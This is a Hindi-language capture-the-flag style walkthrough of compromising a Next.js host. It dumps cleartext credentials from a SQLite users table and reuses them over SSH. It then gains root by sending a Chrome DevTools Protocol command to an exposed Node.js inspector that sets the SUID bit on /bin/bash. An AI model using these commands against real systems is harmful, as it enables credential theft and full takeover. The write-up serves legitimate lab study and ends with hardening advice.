
तकनीकी पैठ परीक्षण रिपोर्ट जो Next.js में CVE-2025-55182 के शोषण, SQLite से क्रेडेंशियल संग्रहण, और रूट एक्सेस प्राप्त करने के लिए Node.js इंस्पेक्टर के माध्यम से विशेषाधिकार वृद्धि का प्रदर्शन करती है।
यह तकनीकी राइटअप एक कमजोर Next.js वेब एप्लिकेशन होस्ट करने वाले टारगेट से समझौता करने, एकत्रित क्रेडेंशियल्स के माध्यम से प्रारंभिक एक्सेस प्राप्त करने, और रूट प्रिविलेज एस्केलेशन के लिए गलत कॉन्फ़िगर किए गए स्थानीय Node.js V8 इंस्पेक्टर का लाभ उठाने के शोषण पथ का विवरण देता है।
टारगेट मानक HTTP/HTTPS पोर्ट्स (80/443) पर चलने वाला एक Next.js वेब एप्लिकेशन होस्ट करता है। मानक डायरेक्ट्री एन्यूमरेशन और मैन्युअल विश्लेषण इंगित करता है कि एप्लिकेशन CVE-2025-55182 के लिए कमजोर संस्करण चला रहा है।
कमजोरी का शोषण करने के लिए, Burp Suite (या Burp Repeater) का उपयोग करके एप्लिकेशन ट्रैफ़िक को इंटरसेप्ट करें और CVE-2025-55182 को लक्षित करने वाला एक क्राफ्टेड शोषण पेलोड इंजेक्ट करें।
शोषण के माध्यम से कोड निष्पादन और स्थानीय फ़ाइल पठन प्राप्त करने पर, एप्लिकेशन स्रोत डायरेक्ट्री का निरीक्षण करें। स्थानीय SQLite डेटाबेस फ़ाइल (database.db) मुख्य एप्लिकेशन स्रोत कोड के निकट स्थित है।
संग्रहीत उपयोगकर्ता रिकॉर्ड निकालने के लिए डेटाबेस फ़ाइल की सामग्री को क्वेरी या डंप करें।
sqlite3 database.db "SELECT * FROM users;"
स्थानीय SSH उपयोगकर्ता engineer से जुड़ा क्लियरटेक्स्ट पासवर्ड खोजें।
टारगेट मशीन के साथ SSH सत्र स्थापित करने के लिए पुनर्प्राप्त क्रेडेंशियल्स का उपयोग करें:
ssh engineer@<TARGET-IP>
प्रमाणित होने के बाद, होम डायरेक्टरी में स्थित यूज़र फ़्लैग पढ़ें:
cat /home/engineer/user.txt
आंतरिक हमले की सतहों की पहचान करने के लिए केवल स्थानीय लूपबैक इंटरफ़ेस (127.0.0.1) से बंधी सेवाओं की जाँच करें:
netstat -tulnp
परिणाम: एक आंतरिक Node.js सेवा स्थानीय पोर्ट 9229 पर सक्रिय रूप से सुन रही है।
Node.js V8 डीबग पोर्ट्स को WebSocket संचार के लिए एक अद्वितीय सत्र UUID की आवश्यकता होती है। /json जोड़कर curl का उपयोग करके स्थानीय डिस्कवरी एंडपॉइंट को क्वेरी करें:
curl -s http://127.0.0.1:9229/json
आउटपुट:
{
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/46a680a0-1cf5-4af4-9ce6-474f77329639"
}
क्योंकि टारगेट Node.js प्रक्रिया रूट प्रिविलेजेस के साथ चलती है, आप /bin/bash पर SUID बिट सेट करने के लिए WebSockets पर Python के माध्यम से एक Chrome DevTools प्रोटोकॉल (CDP) Runtime.evaluate संदेश भेज सकते हैं:
python3 -c 'import websocket, json; ws = websocket.create_connection("ws://127.0.0.1:9229/<YOUR-UUID>"); ws.send(json.dumps({"id": 1, "method": "Runtime.evaluate", "params": {"expression": "process.mainModule.require(\"child_process\").execSync(\"chmod +s /bin/bash\")"}})); print(ws.recv()); ws.close()'
सत्यापित करें कि /bin/bash में अब SUID अनुमतियाँ सक्षम हैं (-rwsr-sr-x), फिर प्रिविलेजेस को संरक्षित करते हुए Bash को आमंत्रित करें:
ls -l /bin/bash
bash -p
अंतिम फ़्लैग कैप्चर करने के लिए रूट उपयोगकर्ता की होम डायरेक्टरी पर नेविगेट करें:
cd /root
cat root.txt
इन वेक्टरों के विरुद्ध वातावरण को सुरक्षित करने के लिए ज्ञात CVEs के लिए कमजोर वेब एप्लिकेशनों को पैच करना, डेटाबेस फ़ाइल अनुमतियों को ठीक से प्रतिबंधित करना, और यह सुनिश्चित करना आवश्यक है कि डीबगिंग पोर्ट्स (जैसे पोर्ट 9229 पर Node.js इंस्पेक्टर) प्रोडक्शन वातावरण में कभी भी उजागर न हों या प्रमाणीकरण के बिना सुलभ न छोड़े जाएँ।